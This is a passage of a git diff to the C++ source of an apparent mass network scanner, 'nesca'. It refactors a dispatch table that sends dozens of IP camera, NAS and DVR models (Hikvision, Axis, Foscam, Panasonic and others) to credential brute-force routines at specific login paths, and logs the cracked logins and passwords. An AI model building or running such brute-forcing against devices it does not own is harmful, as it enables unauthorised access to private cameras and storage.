fillGlobalLogData(ip, port, std::to_string(size).c_str(), "[FTP service]", lps.login, lps.pass, "NULL", cp, "FTP");
|
||||||
|
|
||||||
stt->doEmitionFoundData(QString::fromLocal8Bit(logEmit));
|
stt->doEmitionFoundData(QString::fromLocal8Bit(logEmit));
|
||||||
|
|
||||||
@ -1478,155 +1477,155 @@ int Lexems::_filler(int p, const char* buffcpy, char* ip, int recd, Lexems *lx,
|
|||||||
}
|
}
|
||||||
else if(flag == 21) //Eyeon
|
else if(flag == 21) //Eyeon
|
||||||
{
|
{
|
||||||
_specBrute(ip, p, hl, "Eyeon Camera", flag, "/user/index.htm", "Basic Authorization", cp, recd);
|
_specBrute(ip, p, "Eyeon Camera", flag, "/user/index.htm", "Basic Authorization", cp, size);
|
||||||
}
|
}
|
||||||
else if(flag == 22) //IP Camera control
|
else if(flag == 22) //IP Camera control
|
||||||
{
|
{
|
||||||
_specBrute(ip, p, hl, "IP camera Control webpage", flag, "/main/cs_motion.asp", "Basic Authorization", cp, recd);
|
_specBrute(ip, p, "IP camera Control webpage", flag, "/main/cs_motion.asp", "Basic Authorization", cp, size);
|
||||||
}
|
}
|
||||||
else if(flag == 23) //Network Camera BB-SC384
|
else if(flag == 23) //Network Camera BB-SC384
|
||||||
{
|
{
|
||||||
_specBrute(ip, p, hl, "Network Camera BB-SC384", flag, "/live/index2.html", "Basic Authorization", cp, recd);
|
_specBrute(ip, p, "Network Camera BB-SC384", flag, "/live/index2.html", "Basic Authorization", cp, size);
|
||||||
}
|
}
|
||||||
else if(flag == 24) //Network Camera VB-M40
|
else if(flag == 24) //Network Camera VB-M40
|
||||||
{
|
{
|
||||||
_specBrute(ip, p, hl, "Network Camera VB-M40", flag, "/-wvhttp-01-/open.cgi?", "Basic Authorization", cp, recd);
|
_specBrute(ip, p, "Network Camera VB-M40", flag, "/-wvhttp-01-/open.cgi?", "Basic Authorization", cp, size);
|
||||||
}
|
}
|
||||||
else if(flag == 25) //Panasonic WTFISTHISAreaOMGIDONTEVEN-camera
|
else if(flag == 25) //Panasonic WTFISTHISAreaOMGIDONTEVEN-camera
|
||||||
{
|
{
|
||||||
_specBrute(ip, 60002, hl, "Panasonic WTFISTHISAreaOMGIDONTEVEN-camera", flag, "/SnapshotJPEG", "Basic Authorization", cp, recd);
|
_specBrute(ip, 60002, "Panasonic WTFISTHISAreaOMGIDONTEVEN-camera", flag, "/SnapshotJPEG", "Basic Authorization", cp, size);
|
||||||
}
|
}
|
||||||
else if(flag == 26) //Sony Network Camera
|
else if(flag == 26) //Sony Network Camera
|
||||||
{
|
{
|
||||||
_specBrute(ip, p, hl, "Sony Network Camera", flag, "/oneshotimage?", "Basic Authorization", cp, recd);
|
_specBrute(ip, p, "Sony Network Camera", flag, "/oneshotimage?", "Basic Authorization", cp, size);
|
||||||
}
|
}
|
||||||
else if(flag == 27) //UA Network Camera
|
else if(flag == 27) //UA Network Camera
|
||||||
{
|
{
|
||||||
_specBrute(ip, p, hl, "UA Network Camera", flag, "/webs.cgi?", "Basic Authorization", cp, recd);
|
_specBrute(ip, p, "UA Network Camera", flag, "/webs.cgi?", "Basic Authorization", cp, size);
|
||||||
}
|
}
|
||||||
else if(flag == 28) //Network Camera VB-M40
|
else if(flag == 28) //Network Camera VB-M40
|
||||||
{
|
{
|
||||||
_specBrute(ip, p, hl, "Network Camera VB-??", flag, "/-wvhttp-01-/open.cgi?", "Basic Authorization", cp, recd);
|
_specBrute(ip, p, "Network Camera VB-??", flag, "/-wvhttp-01-/open.cgi?", "Basic Authorization", cp, size);
|
||||||
}
|
}
|
||||||
else if(flag == 29) //LG Smart IP Device
|
else if(flag == 29) //LG Smart IP Device
|
||||||
{
|
{
|
||||||
_specBrute(ip, p, hl, "LG Smart IP Device Camera", flag, "/digest.php", "Basic Authorization", cp, recd);
|
_specBrute(ip, p, "LG Smart IP Device Camera", flag, "/digest.php", "Basic Authorization", cp, size);
|
||||||
}
|
}
|
||||||
else if(flag == 30) //NAS
|
else if(flag == 30) //NAS
|
||||||
{
|
{
|
||||||
_specBrute(ip, p, hl, "NAS", flag, "/cgi-bin/data/viostor-220/viostor/viostor.cgi", "Basic Authorization", cp, recd);
|
_specBrute(ip, p, "NAS", flag, "/cgi-bin/data/viostor-220/viostor/viostor.cgi", "Basic Authorization", cp, size);
|
||||||
}
|
}
|
||||||
else if(flag == 31) //ip cam
|
else if(flag == 31) //ip cam
|
||||||
{
|
{
|
||||||
_specBrute(ip, p, hl, "IP Camera", flag, "/check_user.cgi", "Basic Authorization", cp, recd);
|
_specBrute(ip, p, "IP Camera", flag, "/check_user.cgi", "Basic Authorization", cp, size);
|
||||||
}
|
}
|
||||||
else if(flag == 32) //IPC WEB ip cam
|
else if(flag == 32) //IPC WEB ip cam
|
||||||
{
|
{
|
||||||
_specWEBIPCAMBrute(ip, p, hl, "[IPC] WEB IP Camera", flag, "WEB Authorization", cp, recd, "IPC");
|
_specWEBIPCAMBrute(ip, p, "[IPC] WEB IP Camera", flag, "WEB Authorization", cp, size, "IPC");
|
||||||
}
|
}
|
||||||
else if(flag == 33) //GEOvision ip cam
|
else if(flag == 33) //GEOvision ip cam
|
||||||
{
|
{
|
||||||
_specWEBIPCAMBrute(ip, p, hl, "[GEO] WEB IP Camera", flag, "WEB Authorization", cp, recd, "GEO");
|
_specWEBIPCAMBrute(ip, p, "[GEO] WEB IP Camera", flag, "WEB Authorization", cp, size, "GEO");
|
||||||
}
|
}
|
||||||
else if(flag == 34) //Hikvision ip cam
|
else if(flag == 34) //Hikvision ip cam
|
||||||
{
|
{
|
||||||
_specBrute(ip, p, hl, "[Hikvision] IP Camera", flag, "/PSIA/Custom/SelfExt/userCheck", "Basic Authorization", cp, recd);
|
_specBrute(ip, p, "[Hikvision] IP Camera", flag, "/PSIA/Custom/SelfExt/userCheck", "Basic Authorization", cp, size);
|
||||||
}
|
}
|
||||||
else if(flag == 35) //EasyCam
|
else if(flag == 35) //EasyCam
|
||||||
{
|
{
|
||||||
_specWEBIPCAMBrute(ip, p, hl, "[EasyCam] WEB IP Camera", flag, "WEB Authorization", cp, recd, "EasyCam");
|
_specWEBIPCAMBrute(ip, p, "[EasyCam] WEB IP Camera", flag, "WEB Authorization", cp, size, "EasyCam");
|
||||||
}
|
}
|
||||||
else if(flag == 36) //Panasonic Cam
|
else if(flag == 36) //Panasonic Cam
|
||||||
{
|
{
|
||||||
_specBrute(ip, p, hl, "[Panasonic] IP Camera", flag, "/config/index.cgi", "Basic Authorization", cp, recd);
|
_specBrute(ip, p, "[Panasonic] IP Camera", flag, "/config/index.cgi", "Basic Authorization", cp, size);
|
||||||
}
|
}
|
||||||
else if(flag == 37) //Panasonic Cam
|
else if(flag == 37) //Panasonic Cam
|
||||||
{
|
{
|
||||||
_specBrute(ip, p, hl, "[Panasonic] IP Camera", flag, "/view/getuid.cgi", "Basic Authorization", cp, recd);
|
_specBrute(ip, p, "[Panasonic] IP Camera", flag, "/view/getuid.cgi", "Basic Authorization", cp, size);
|
||||||
}
|
}
|
||||||
else if(flag == 38) //Foscam
|
else if(flag == 38) //Foscam
|
||||||
{
|
{
|
||||||
_specWEBIPCAMBrute(ip, p, hl, "[Foscam] IP Camera", flag, "Web Authorization", cp, recd, "Foscam");
|
_specWEBIPCAMBrute(ip, p, "[Foscam] IP Camera", flag, "Web Authorization", cp, size, "Foscam");
|
||||||
}
|
}
|
||||||
else if(flag == 39) //EagleEye
|
else if(flag == 39) //EagleEye
|
||||||
{
|
{
|
||||||
_specBrute(ip, p, hl, "[EagleEye] IP Camera", flag, "/cgi-bin/guest/Video.cgi?", "Basic Authorization", cp, recd);
|
_specBrute(ip, p, "[EagleEye] IP Camera", flag, "/cgi-bin/guest/Video.cgi?", "Basic Authorization", cp, size);
|
||||||
}
|
}
|
||||||
else if(flag == 40) //Network Camera VB-C??
|
else if(flag == 40) //Network Camera VB-C??
|
||||||
{
|
{
|
||||||
_specBrute(ip, p, hl, "[Network Camera VB-C??] IP Camera", flag, "/admin/index.shtml?", "Basic Authorization", cp, recd);
|
_specBrute(ip, p, "[Network Camera VB-C??] IP Camera", flag, "/admin/index.shtml?", "Basic Authorization", cp, size);
|
||||||
}
|
}
|
||||||
else if(flag == 41) //AVIOSYS-camera
|
else if(flag == 41) //AVIOSYS-camera
|
||||||
{
|
{
|
||||||
_specWEBIPCAMBrute(ip, p, hl, "[AVIOSYS] IP Camera", flag, "Web Authorization", cp, recd, "AVIOSYS");
|
_specWEBIPCAMBrute(ip, p, "[AVIOSYS] IP Camera", flag, "Web Authorization", cp, size, "AVIOSYS");
|
||||||
}
|
}
|
||||||
else if(flag == 42) //NW_camera
|
else if(flag == 42) //NW_camera
|
||||||
{
|
{
|
||||||
_specBrute(ip, p, hl, "[NW_camera] IP Camera", flag, "/cgi-bin/getuid?FILE=indexnw.html", "Basic Authorization", cp, recd);
|
_specBrute(ip, p, "[NW_camera] IP Camera", flag, "/cgi-bin/getuid?FILE=indexnw.html", "Basic Authorization", cp, size);
|
||||||
}
|
}
|
||||||
else if(flag == 43) //NW_camera
|
else if(flag == 43) //NW_camera
|
||||||
{
|
{
|
||||||
_specBrute(ip, p, hl, "[Micros] IP Camera", flag, "/gui/rem_display.shtml", "Basic Authorization", cp, recd);
|
_specBrute(ip, p, "[Micros] IP Camera", flag, "/gui/rem_display.shtml", "Basic Authorization", cp, size);
|
||||||
}
|
}
|
||||||
else if(flag == 44) //Hikvision ip cam 2
|
else if(flag == 44) //Hikvision ip cam 2
|
||||||
{
|
{
|
||||||
_specBrute(ip, p, hl, "[Hikvision] IP Camera 2", flag, "/ISAPI/Security/userCheck", "Basic Authorization", cp, recd);
|
_specBrute(ip, p, "[Hikvision] IP Camera 2", flag, "/ISAPI/Security/userCheck", "Basic Authorization", cp, size);
|
||||||
}
|
}
|
||||||
else if(flag == 45) //Panasonic ip cam
|
else if(flag == 45) //Panasonic ip cam
|
||||||
{
|
{
|
||||||
_specBrute(ip, p, hl, "[Panasonic] IP Camera", flag, "/config/index.cgi", "Basic Authorization", cp, recd);
|
_specBrute(ip, p, "[Panasonic] IP Camera", flag, "/config/index.cgi", "Basic Authorization", cp, size);
|
||||||
}
|
}
|
||||||
else if(flag == 46) //Buffalo disk
|
else if(flag == 46) //Buffalo disk
|
||||||
{
|
{
|
||||||
_specWEBIPCAMBrute(ip, p, hl, "[Buffalo] Lan Disk", flag, "Web Authorization", cp, recd, "BUFFALO");
|
_specWEBIPCAMBrute(ip, p, "[Buffalo] Lan Disk", flag, "Web Authorization", cp, size, "BUFFALO");
|
||||||
}
|
}
|
||||||
else if(flag == 47) //Digital Video Server
|
else if(flag == 47) //Digital Video Server
|
||||||
{
|
{
|
||||||
_specWEBIPCAMBrute(ip, p, hl, "[DVS] Camera", flag, "Web Authorization", cp, recd, "DVS");
|
_specWEBIPCAMBrute(ip, p, "[DVS] Camera", flag, "Web Authorization", cp, size, "DVS");
|
||||||
}
|
}
|
||||||
else if(flag == 48) //ipCAM
|
else if(flag == 48) //ipCAM
|
||||||
{
|
{
|
||||||
_specWEBIPCAMBrute(ip, p, hl, "[ipCAM] Camera", flag, "Web Authorization", cp, recd, "IPCAM");
|
_specWEBIPCAMBrute(ip, p, "[ipCAM] Camera", flag, "Web Authorization", cp, size, "IPCAM");
|
||||||
}
|
}
|
||||||
else if (flag == 49) //IEORFOREFOX
|
else if (flag == 49) //IEORFOREFOX
|
||||||
{
|
{
|
||||||
_specWEBIPCAMBrute(ip, p, hl, "[IEORFOREFOX] Camera", flag, "Web Authorization", cp, recd, "IEORFOREFOX");
|
_specWEBIPCAMBrute(ip, p, "[IEORFOREFOX] Camera", flag, "Web Authorization", cp, size, "IEORFOREFOX");
|
||||||
}
|
}
|
||||||
else if (flag == 50) //IP Camera
|
else if (flag == 50) //IP Camera
|
||||||
{
|
{
|
||||||
_specBrute(ip, p, hl, "IP Camera", flag, "/app/multi/single.asp", "Basic Authorization", cp, recd);
|
_specBrute(ip, p, "IP Camera", flag, "/app/multi/single.asp", "Basic Authorization", cp, size);
|
||||||
}
|
}
|
||||||
else if(flag == 20) //AXIS Camera
|
else if(flag == 20) //AXIS Camera
|
||||||
{
|
{
|
||||||
_specBrute(ip, p, hl, "AXIS Camera", flag, "/axis-cgi/com/ptz.cgi?", "Basic Authorization", cp, recd);
|
_specBrute(ip, p, "AXIS Camera", flag, "/axis-cgi/com/ptz.cgi?", "Basic Authorization", cp, size);
|
||||||
}
|
}
|
||||||
else if(flag == 19) //reecam cameras
|
else if(flag == 19) //reecam cameras
|
||||||
{
|
{
|
||||||
_specBrute(ip, p, hl, "Reecam (network camera)", flag, "/videostream.cgi", "Basic Authorization", cp, recd);
|
_specBrute(ip, p, "Reecam (network camera)", flag, "/videostream.cgi", "Basic Authorization", cp, size);
|
||||||
}
|
}
|
||||||
else if(flag == 18) //linksys camera
|
else if(flag == 18) //linksys camera
|
||||||
{
|
{
|
||||||
_specBrute(ip, p, hl, "Linksys camera", flag, "/img/main.cgi", "Basic Authorization", cp, recd);
|
_specBrute(ip, p, "Linksys camera", flag, "/img/main.cgi", "Basic Authorization", cp, size);
|
||||||
}
|
}
|
||||||
else if(flag == 17) //Real-time IP Camera Monitoring System
|
else if(flag == 17) //Real-time IP Camera Monitoring System
|
||||||
{
|
{
|
||||||
_specBrute(ip, p, hl, "Real-time IP Camera Monitoring System", flag, "/live.htm", "Basic Authorization", cp, recd);
|
_specBrute(ip, p, "Real-time IP Camera Monitoring System", flag, "/live.htm", "Basic Authorization", cp, size);
|
||||||
}
|
}
|
||||||
else if(flag == 11)
|
else if(flag == 11)
|
||||||
{
|
{
|
||||||
_specBrute(ip, p, hl, "Netwave IP Camera", flag, "/videostream.cgi", "Basic Authorization", cp, recd);
|
_specBrute(ip, p, "Netwave IP Camera", flag, "/videostream.cgi", "Basic Authorization", cp, size);
|
||||||
}
|
}
|
||||||
else if(flag == 12)
|
else if(flag == 12)
|
||||||
{
|
{
|
||||||
_specBrute(ip, p, hl, "IP Camera", flag, "/view/view.shtml?videos=", "Basic Authorization", cp, recd);
|
_specBrute(ip, p, "IP Camera", flag, "/view/view.shtml?videos=", "Basic Authorization", cp, size);
|
||||||
}
|
}
|
||||||
else if(flag == 13)
|
else if(flag == 13)
|
||||||
{
|
{
|
||||||
_specBrute(ip, p, hl, "IP Camera", flag, "/eng/view/indexjava.html", "Basic Authorization", cp, recd);
|
_specBrute(ip, p, "IP Camera", flag, "/eng/view/indexjava.html", "Basic Authorization", cp, size);
|
||||||
}
|
}
|
||||||
else if(flag == 14)
|
else if(flag == 14)
|
||||||
{
|
{
|
||||||
_specBrute(ip, p, hl, "IP Camera", flag, "/rdr.cgi", "Basic Authorization", cp, recd);
|
_specBrute(ip, p, "IP Camera", flag, "/rdr.cgi", "Basic Authorization", cp, size);
|
||||||
}
|
}
|
||||||
else if(flag == 15) //For HFS
|
else if(flag == 15) //For HFS
|
||||||
{
|
{
|
||||||
@ -1634,28 +1633,32 @@ int Lexems::_filler(int p, const char* buffcpy, char* ip, int recd, Lexems *lx,
|
|||||||
++AnomC1;
|
++AnomC1;
|
||||||
|
|
||||||
const lopaStr &lps = BA::BALobby((string(ip) + "/~login").c_str(), p);
|
const lopaStr &lps = BA::BALobby((string(ip) + "/~login").c_str(), p);
|
||||||
sprintf(log, "[HFS]:<font color=\"#ff6600\">%s :: </font><a href=\"http://%s:%s/\"><span style=\"color: #a1a1a1;\">%s:%s</span></a><font color=\"#0084ff\"> T: </font><font color=\"#ff9600\">%s Pass: %s:%s</font>",
|
sprintf(log, "[HFS]:<a href=\"http://%s:%s/\"><span style=\"color: #a1a1a1;\">%s:%s</span></a><font color=\"#0084ff\"> T: </font><font color=\"#ff9600\">%s Pass: %s:%s</font>",
|
||||||
hl, ip, port, ip, port, finalstr, lps.login, lps.pass);
|
ip, port, ip, port, finalstr, lps.login, lps.pass);
|
||||||
|
|
||||||
fillGlobalLogData(ip, hl, port, std::to_string(recd).c_str(), finalstr, lps.login, lps.pass, "HFS-FTP", cp, "Basic Authorization");
|
fillGlobalLogData(ip, port, std::to_string(size).c_str(), finalstr, lps.login, lps.pass, "HFS-FTP", cp, "Basic Authorization");
|
||||||
fputsf (log , flag, "HFS");
|
fputsf (log , flag, "HFS");
|
||||||
stt->doEmitionFoundData(QString::fromLocal8Bit(log));
|
stt->doEmitionFoundData(QString::fromLocal8Bit(log));
|
||||||
}
|
}
|
||||||
else if(flag == 1)
|
else if(flag == 1)
|
||||||
{
|
{
|
||||||
_specBrute(ip, p, hl, finalstr, flag, baPath, "[NORMAL]", cp, recd);
|
_specBrute(ip, p, finalstr, flag, baPath, "[NORMAL]", cp, size);
|
||||||
}
|
}
|
||||||
else if(flag == 101)
|
else if(flag == 101)
|
||||||
{
|
{
|
||||||
_specBrute(ip, p, hl, finalstr, flag, baPath, "[DIGEST]", cp, recd);
|
_specBrute(ip, p, finalstr, flag, baPath, "[DIGEST]", cp, size);
|
||||||
}
|
}
|
||||||
else if(flag == 10)
|
else if(flag == 10)
|
||||||
{
|
{
|
||||||
_specWFBrute(ip, p, hl, buffcpy, flag, baPath, "Web Form", "Web Form", cp, recd, finalstr);
|
_specWFBrute(ip, p, buffcpy, flag, baPath, "Web Form", "Web Form", cp, size, finalstr);
|
||||||
}
|
}
|
||||||
|
else if(flag == 2)
|
||||||
|
{
|
||||||
|
putInFile(0, ip, port, size, "[OVERFLOW]", cp);
|
||||||
|
}
|
||||||
else
|
else
|
||||||
{
|
{
|
||||||
putInFile(flag, ip, port, recd, finalstr, hl, cp);
|
putInFile(flag, ip, port, size, finalstr, cp);
|
||||||
};
|
};
|
||||||
|
|
||||||
return flag;
|
return flag;
|
||||||
@ -1738,7 +1741,7 @@ int redirectReconnect(char *ip, int port, char *str, Lexems *ls, PathStr *ps, st
|
|||||||
{
|
{
|
||||||
strcpy(ps->codepage, GetCodePage(buffer.c_str()));
|
strcpy(ps->codepage, GetCodePage(buffer.c_str()));
|
||||||
|
|
||||||
ls->flag = ContentFilter(buffer.c_str(), tempPort, tempIP, ps->codepage);
|
ls->flag = ContentFilter(buffer.c_str(), tempPort, tempIP, ps->codepage, cSz);
|
||||||
ps->flag = ls->flag;
|
ps->flag = ls->flag;
|
||||||
|
|
||||||
if(ls->flag == -1)
|
if(ls->flag == -1)
|
||||||
@ -1771,7 +1774,7 @@ int redirectReconnect(char *ip, int port, char *str, Lexems *ls, PathStr *ps, st
|
|||||||
strcat(ps->headr, " -> ");
|
strcat(ps->headr, " -> ");
|
||||||
strcat(ps->headr, GetTitle(buffer.c_str()));
|
strcat(ps->headr, GetTitle(buffer.c_str()));
|
||||||
|
|
||||||
if (ls->_header(tempIP, tempPort, buffer.c_str(), ls, ps, redirStrLst) == -1)
|
if (ls->_header(tempIP, tempPort, buffer.c_str(), ls, ps, redirStrLst, cSz) == -1)
|
||||||
{
|
{
|
||||||
ps->flag = -1;
|
ps->flag = -1;
|
||||||
strcpy(ps->path, tempPath);
|
strcpy(ps->path, tempPath);
|
||||||
@ -1855,7 +1858,7 @@ int redirectReconnect(char *ip, int port, char *str, Lexems *ls, PathStr *ps, st
|
|||||||
{
|
{
|
||||||
strcpy(ps->codepage, GetCodePage(buffer.c_str()));
|
strcpy(ps->codepage, GetCodePage(buffer.c_str()));
|
||||||
|
|
||||||
ls->flag = ContentFilter(buffer.c_str(), tempPort, tempIP, ps->codepage);
|
ls->flag = ContentFilter(buffer.c_str(), tempPort, tempIP, ps->codepage, cSz);
|
||||||
ps->flag = ls->flag;
|
ps->flag = ls->flag;
|
||||||
|
|
||||||
if(ls->flag == -1)
|
if(ls->flag == -1)
|
||||||
@ -1888,7 +1891,7 @@ int redirectReconnect(char *ip, int port, char *str, Lexems *ls, PathStr *ps, st
|
|||||||
strcat(ps->headr, " -> ");
|
strcat(ps->headr, " -> ");
|
||||||
strcat(ps->headr, GetTitle(buffer.c_str()));
|
strcat(ps->headr, GetTitle(buffer.c_str()));
|
||||||
|
|
||||||
if (ls->_header(tempIP, tempPort, buffer.c_str(), ls, ps, redirStrLst) == -1)
|
if (ls->_header(tempIP, tempPort, buffer.c_str(), ls, ps, redirStrLst, cSz) == -1)
|
||||||
{
|
{
|
||||||
ps->flag = -1;
|
ps->flag = -1;
|
||||||
strcpy(ps->path, tempPath);
|
strcpy(ps->path, tempPath);
|
||||||
@ -1923,7 +1926,7 @@ int redirectReconnect(char *ip, int port, char *str, Lexems *ls, PathStr *ps, st
|
|||||||
{
|
{
|
||||||
strcpy(ps->codepage, GetCodePage(buffer.c_str()));
|
strcpy(ps->codepage, GetCodePage(buffer.c_str()));
|
||||||
|
|
||||||
ls->flag = ContentFilter(buffer.c_str(), port, ip, ps->codepage);
|
ls->flag = ContentFilter(buffer.c_str(), port, ip, ps->codepage, cSz);
|
||||||
ps->flag = ls->flag;
|
ps->flag = ls->flag;
|
||||||
|
|
||||||
if(ls->flag == -1)
|
if(ls->flag == -1)
|
||||||
@ -1955,7 +1958,7 @@ int redirectReconnect(char *ip, int port, char *str, Lexems *ls, PathStr *ps, st
|
|||||||
strcat(ps->headr, "->");
|
strcat(ps->headr, "->");
|
||||||
strcat(ps->headr, GetTitle(buffer.c_str()));
|
strcat(ps->headr, GetTitle(buffer.c_str()));
|
||||||
|
|
||||||
if (ls->_header(tempIP, tempPort, buffer.c_str(), ls, ps, redirStrLst) == -1)
|
if (ls->_header(tempIP, tempPort, buffer.c_str(), ls, ps, redirStrLst, cSz) == -1)
|
||||||
{
|
{
|
||||||
ps->flag = -1;
|
ps->flag = -1;
|
||||||
strcpy(ps->path, tempPath);
|
strcpy(ps->path, tempPath);
|
||||||
@ -1985,7 +1988,7 @@ int redirectReconnect(char *ip, int port, char *str, Lexems *ls, PathStr *ps, st
|
|||||||
{
|
{
|
||||||
strcpy(ps->codepage, GetCodePage(buffer.c_str()));
|
strcpy(ps->codepage, GetCodePage(buffer.c_str()));
|
||||||
|
|
||||||
ls->flag = ContentFilter(buffer.c_str(), port, ip, ps->codepage);
|
ls->flag = ContentFilter(buffer.c_str(), port, ip, ps->codepage, cSz);
|
||||||
ps->flag = ls->flag;
|
ps->flag = ls->flag;
|
||||||
|
|
||||||
if(ls->flag == -1)
|
if(ls->flag == -1)
|
||||||
@ -2017,7 +2020,7 @@ int redirectReconnect(char *ip, int port, char *str, Lexems *ls, PathStr *ps, st
|
|||||||
|
|
||||||
strcat(ps->headr, " -> ");
|
strcat(ps->headr, " -> ");
|
||||||
strcat(ps->headr, GetTitle(buffer.c_str()));
|
strcat(ps->headr, GetTitle(buffer.c_str()));
|
||||||
ls->_header(ip, port, buffer.c_str(), ls, ps, redirStrLst);
|
ls->_header(ip, port, buffer.c_str(), ls, ps, redirStrLst, cSz);
|
||||||
ps->port = tempPort;
|
ps->port = tempPort;
|
||||||
}
|
}
|
||||||
else
|
else
|
||||||
@ -2157,7 +2160,7 @@ void _getLinkFromJSLocation(char *dataBuff, char *str, char *tag, char *ip, int
|
|||||||
};
|
};
|
||||||
}
|
}
|
||||||
|
|
||||||
int Lexems::_header(char *ip, int port, const char str[], Lexems *l, PathStr *ps, std::vector<std::string> *redirStrLst)
|
int Lexems::_header(char *ip, int port, const char str[], Lexems *l, PathStr *ps, std::vector<std::string> *redirStrLst, int size)
|
||||||
{
|
{
|
||||||
std::string redirectStr = "";
|
std::string redirectStr = "";
|
||||||
|
|
||||||
@ -2618,7 +2621,7 @@ int Lexems::_header(char *ip, int port, const char str[], Lexems *l, PathStr *ps
|
|||||||
};
|
};
|
||||||
};
|
};
|
||||||
|
|
||||||
ps->flag = ContentFilter(str, port, ip, ps->codepage);
|
ps->flag = ContentFilter(str, port, ip, ps->codepage, size);
|
||||||
|
|
||||||
if(strstri(str, "window.open(") != NULL)
|
if(strstri(str, "window.open(") != NULL)
|
||||||
{
|
{
|
||||||
|
@ -107,12 +107,6 @@ struct lopaStr{
|
|||||||
char other[128];
|
char other[128];
|
||||||
};
|
};
|
||||||
|
|
||||||
struct conSTR{
|
|
||||||
char *lowerBuff;
|
|
||||||
int size;
|
|
||||||
bool overflow = false;
|
|
||||||
};
|
|
||||||
|
|
||||||
class Lexems
|
class Lexems
|
||||||
{
|
{
|
||||||
public:
|
public:
|
||||||
@ -129,19 +123,18 @@ public:
|
|||||||
iterationCount = 0;
|
iterationCount = 0;
|
||||||
}
|
}
|
||||||
|
|
||||||
int _header(char *ip,
|
int _header(char *ip,
|
||||||
int port,
|
int port,
|
||||||
const char str[],
|
const char str[],
|
||||||
Lexems *l,
|
Lexems *l,
|
||||||
PathStr *ps,
|
PathStr *ps,
|
||||||
std::vector<std::string> *lst);
|
std::vector<std::string> *lst, int size);
|
||||||
|
|
||||||
int _filler(int port,
|
int _filler(int port,
|
||||||
const char *buffcpy,
|
const char *buffcpy,
|
||||||
char* ip,
|
char* ip,
|
||||||
int recd,
|
int size,
|
||||||
Lexems *lx,
|
Lexems *lx);
|
||||||
char *hl);
|
|
||||||
};
|
};
|
||||||
|
|
||||||
|
|
||||||
|
@ -1,6 +1,6 @@
|
|||||||
<?xml version="1.0" encoding="UTF-8"?>
|
<?xml version="1.0" encoding="UTF-8"?>
|
||||||
<!DOCTYPE QtCreatorProject>
|
<!DOCTYPE QtCreatorProject>
|
||||||
<!-- Written by QtCreator 3.2.1, 2015-03-30T17:30:31. -->
|
<!-- Written by QtCreator 3.2.1, 2015-03-31T17:30:00. -->
|
||||||
<qtcreator>
|
<qtcreator>
|
||||||
<data>
|
<data>
|
||||||
<variable>EnvironmentId</variable>
|
<variable>EnvironmentId</variable>
|
||||||
|
31
nesca_3.cpp
31
nesca_3.cpp
@ -1919,7 +1919,8 @@ void nesca_3::IPScanSeq()
|
|||||||
if(ui->portLine->text() != "")
|
if(ui->portLine->text() != "")
|
||||||
{
|
{
|
||||||
saveOptions();
|
saveOptions();
|
||||||
ui->labelParsed_Value->setText("0/0");
|
ui->labelParsed_Value->setText("0/0");
|
||||||
|
ui->labelOffline_Value->setText("0");
|
||||||
stopFirst = false;
|
stopFirst = false;
|
||||||
ui->tabMainWidget->setTabEnabled(1, false);
|
ui->tabMainWidget->setTabEnabled(1, false);
|
||||||
ui->tabMainWidget->setTabEnabled(2, false);
|
ui->tabMainWidget->setTabEnabled(2, false);
|
||||||
@ -2004,6 +2005,7 @@ void nesca_3::DNSScanSeq()
|
|||||||
{
|
{
|
||||||
saveOptions();
|
saveOptions();
|
||||||
ui->labelParsed_Value->setText("0/0");
|
ui->labelParsed_Value->setText("0/0");
|
||||||
|
ui->labelOffline_Value->setText("0");
|
||||||
if(ui->lineEditStartIPDNS->text().indexOf(".") > 0)
|
if(ui->lineEditStartIPDNS->text().indexOf(".") > 0)
|
||||||
{
|
{
|
||||||
QStringList lst = ui->lineEditStartIPDNS->text().split(".");
|
QStringList lst = ui->lineEditStartIPDNS->text().split(".");
|
||||||
@ -2063,6 +2065,9 @@ void nesca_3::ImportScanSeq()
|
|||||||
ui->tabMainWidget->setTabEnabled(0, false);
|
ui->tabMainWidget->setTabEnabled(0, false);
|
||||||
ui->tabMainWidget->setTabEnabled(1, false);
|
ui->tabMainWidget->setTabEnabled(1, false);
|
||||||
|
|
||||||
|
ui->labelParsed_Value->setText("0/0");
|
||||||
|
ui->labelOffline_Value->setText("0");
|
||||||
|
|
||||||
strcpy(inputStr, ("DUMMY|-f|" + fileName + "|" + ui->importThreads->text() + "|-p" + ui->importPorts->text().replace(" ", "")).toLocal8Bit().data());
|
strcpy(inputStr, ("DUMMY|-f|" + fileName + "|" + ui->importThreads->text() + "|-p" + ui->importPorts->text().replace(" ", "")).toLocal8Bit().data());
|
||||||
|
|
||||||
globalScanFlag = true;
|
globalScanFlag = true;
|
||||||
@ -2292,8 +2297,10 @@ void nesca_3::ConnectEvrthng()
|
|||||||
}
|
}
|
||||||
|
|
||||||
void _LoadPersInfoToLocalVars(int savedTabIndex) {
|
void _LoadPersInfoToLocalVars(int savedTabIndex) {
|
||||||
ZeroMemory(top_level_domain, sizeof(top_level_domain));
|
ZeroMemory(currentIP, sizeof(currentIP));
|
||||||
|
ZeroMemory(finalIP, sizeof(finalIP));
|
||||||
ZeroMemory(gPorts, sizeof(gPorts));
|
ZeroMemory(gPorts, sizeof(gPorts));
|
||||||
|
ZeroMemory(gTLD, sizeof(gTLD));
|
||||||
|
|
||||||
if(savedTabIndex == 0)
|
if(savedTabIndex == 0)
|
||||||
{
|
{
|
||||||
@ -2328,9 +2335,15 @@ void _LoadPersInfoToLocalVars(int savedTabIndex) {
|
|||||||
gThreads = ui->lineEditThread->text().toInt();
|
gThreads = ui->lineEditThread->text().toInt();
|
||||||
|
|
||||||
strcpy(currentIP, ui->lineEditStartIPDNS->text().toLocal8Bit().data());
|
strcpy(currentIP, ui->lineEditStartIPDNS->text().toLocal8Bit().data());
|
||||||
strcpy(top_level_domain, ui->lineILVL->text().toLocal8Bit().data());
|
strcpy(gTLD, ui->lineILVL->text().toLocal8Bit().data());
|
||||||
strncpy(gPorts, ("-p" + ui->lineEditPort->text()).toLocal8Bit().data(), 65536);
|
strncpy(gPorts, ("-p" + ui->lineEditPort->text()).toLocal8Bit().data(), 65536);
|
||||||
gPorts[ui->lineEditPort->text().length() + 2] = '\0';
|
gPorts[ui->lineEditPort->text().length() + 2] = '\0';
|
||||||
|
}
|
||||||
|
else if(savedTabIndex == 2)
|
||||||
|
{
|
||||||
|
gMode = -1;
|
||||||
|
gThreads = ui->importThreads->text().toInt();
|
||||||
|
strncpy(gPorts, ("-p" + ui->importPorts->text()).toLocal8Bit().data(), 65536);
|
||||||
};
|
};
|
||||||
|
|
||||||
strcpy(trcSrv, ui->lineTrackerSrv->text().toLocal8Bit().data());
|
